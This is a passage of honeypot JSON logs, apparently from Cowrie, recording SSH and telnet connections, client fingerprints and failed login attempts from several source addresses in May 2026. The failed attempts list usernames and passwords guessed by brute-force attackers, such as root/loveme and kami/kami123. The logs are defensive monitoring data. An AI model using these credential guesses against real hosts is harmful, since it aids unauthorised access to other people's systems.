16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:37.143910Z","src_ip":"80.94.92.186","session":"725a2557062a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:38.275044Z","src_ip":"80.94.92.186","session":"725a2557062a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:39.603338Z","src_ip":"80.94.92.186","session":"725a2557062a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.623114585876465,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:51.652542Z","src_ip":"192.119.13.58","session":"00c68ceffb23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.92298173904419,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:15.478114Z","src_ip":"192.119.13.58","session":"e15528263141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36948,"dst_ip":"10.17.0.5","dst_port":22,"session":"c766a4b4b861","protocol":"ssh","message":"New connection: 194.59.206.2:36948 (10.17.0.5:22) [session: c766a4b4b861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:24.584448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:24.589392Z","src_ip":"194.59.206.2","session":"c766a4b4b861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:24.680382Z","src_ip":"194.59.206.2","session":"c766a4b4b861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:24.792299Z","src_ip":"194.59.206.2","session":"c766a4b4b861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":57466,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4cd9d757c03","protocol":"ssh","message":"New connection: 80.66.85.226:57466 (159.203.135.109:22) [session: d4cd9d757c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:50.943891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:50.948634Z","src_ip":"80.66.85.226","session":"d4cd9d757c03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:51.041546Z","src_ip":"80.66.85.226","session":"d4cd9d757c03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fy.nrf","message":"login attempt [root/fy.nrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:51.319612Z","src_ip":"80.66.85.226","session":"d4cd9d757c03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:13:52.415435Z","src_ip":"80.66.85.226","session":"d4cd9d757c03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40940,"dst_ip":"10.17.0.5","dst_port":22,"session":"49cd58f1d6d0","protocol":"ssh","message":"New connection: 103.195.236.96:40940 (10.17.0.5:22) [session: 49cd58f1d6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:27.365339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:27.370447Z","src_ip":"103.195.236.96","session":"49cd58f1d6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:27.616100Z","src_ip":"103.195.236.96","session":"49cd58f1d6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j3qq4h7h2v","message":"login attempt [root/j3qq4h7h2v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:28.348813Z","src_ip":"103.195.236.96","session":"49cd58f1d6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:29.643342Z","src_ip":"103.195.236.96","session":"49cd58f1d6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":45744,"dst_ip":"10.17.0.5","dst_port":22,"session":"04b28b39575a","protocol":"ssh","message":"New connection: 103.75.183.219:45744 (10.17.0.5:22) [session: 04b28b39575a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:39.073494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:39.078623Z","src_ip":"103.75.183.219","session":"04b28b39575a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:39.325484Z","src_ip":"103.75.183.219","session":"04b28b39575a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweewq","message":"login attempt [root/qweewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:40.064532Z","src_ip":"103.75.183.219","session":"04b28b39575a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:41.314927Z","src_ip":"103.75.183.219","session":"04b28b39575a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":34752,"dst_ip":"159.203.135.109","dst_port":22,"session":"33a8b5057d0e","protocol":"ssh","message":"New connection: 103.27.238.114:34752 (159.203.135.109:22) [session: 33a8b5057d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:58.775498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:58.779794Z","src_ip":"103.27.238.114","session":"33a8b5057d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:59.036733Z","src_ip":"103.27.238.114","session":"33a8b5057d0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveme","message":"login attempt [root/loveme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:14:59.806900Z","src_ip":"103.27.238.114","session":"33a8b5057d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:01.098249Z","src_ip":"103.27.238.114","session":"33a8b5057d0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36910,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ad33c55b954","protocol":"ssh","message":"New connection: 80.94.92.186:36910 (159.203.135.109:22) [session: 5ad33c55b954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:27.230511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:27.421639Z","src_ip":"80.94.92.186","session":"5ad33c55b954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:27.425459Z","src_ip":"80.94.92.186","session":"5ad33c55b954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:28.702235Z","src_ip":"80.94.92.186","session":"5ad33c55b954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:29.953624Z","src_ip":"80.94.92.186","session":"5ad33c55b954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":37638,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea7b98510fc8","protocol":"ssh","message":"New connection: 94.159.98.239:37638 (10.17.0.5:22) [session: ea7b98510fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:43.600064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:43.763598Z","src_ip":"94.159.98.239","session":"ea7b98510fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:43.767678Z","src_ip":"94.159.98.239","session":"ea7b98510fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":57513,"dst_ip":"159.203.135.109","dst_port":22,"session":"09286ac919f4","protocol":"ssh","message":"New connection: 213.209.159.56:57513 (159.203.135.109:22) [session: 09286ac919f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:43.844095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:43.852135Z","src_ip":"213.209.159.56","session":"09286ac919f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:43.934248Z","src_ip":"213.209.159.56","session":"09286ac919f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami","message":"login attempt [kami/kami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:44.335275Z","src_ip":"213.209.159.56","session":"09286ac919f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami1","message":"login attempt [kami/kami1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:45.423167Z","src_ip":"213.209.159.56","session":"09286ac919f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ltymub","message":"login attempt [root/ltymub] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:46.243254Z","src_ip":"94.159.98.239","session":"ea7b98510fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami123","message":"login attempt [kami/kami123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:46.508056Z","src_ip":"213.209.159.56","session":"09286ac919f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:15:47.502002Z","src_ip":"94.159.98.239","session":"ea7b98510fc8","protocol":"ssh"}
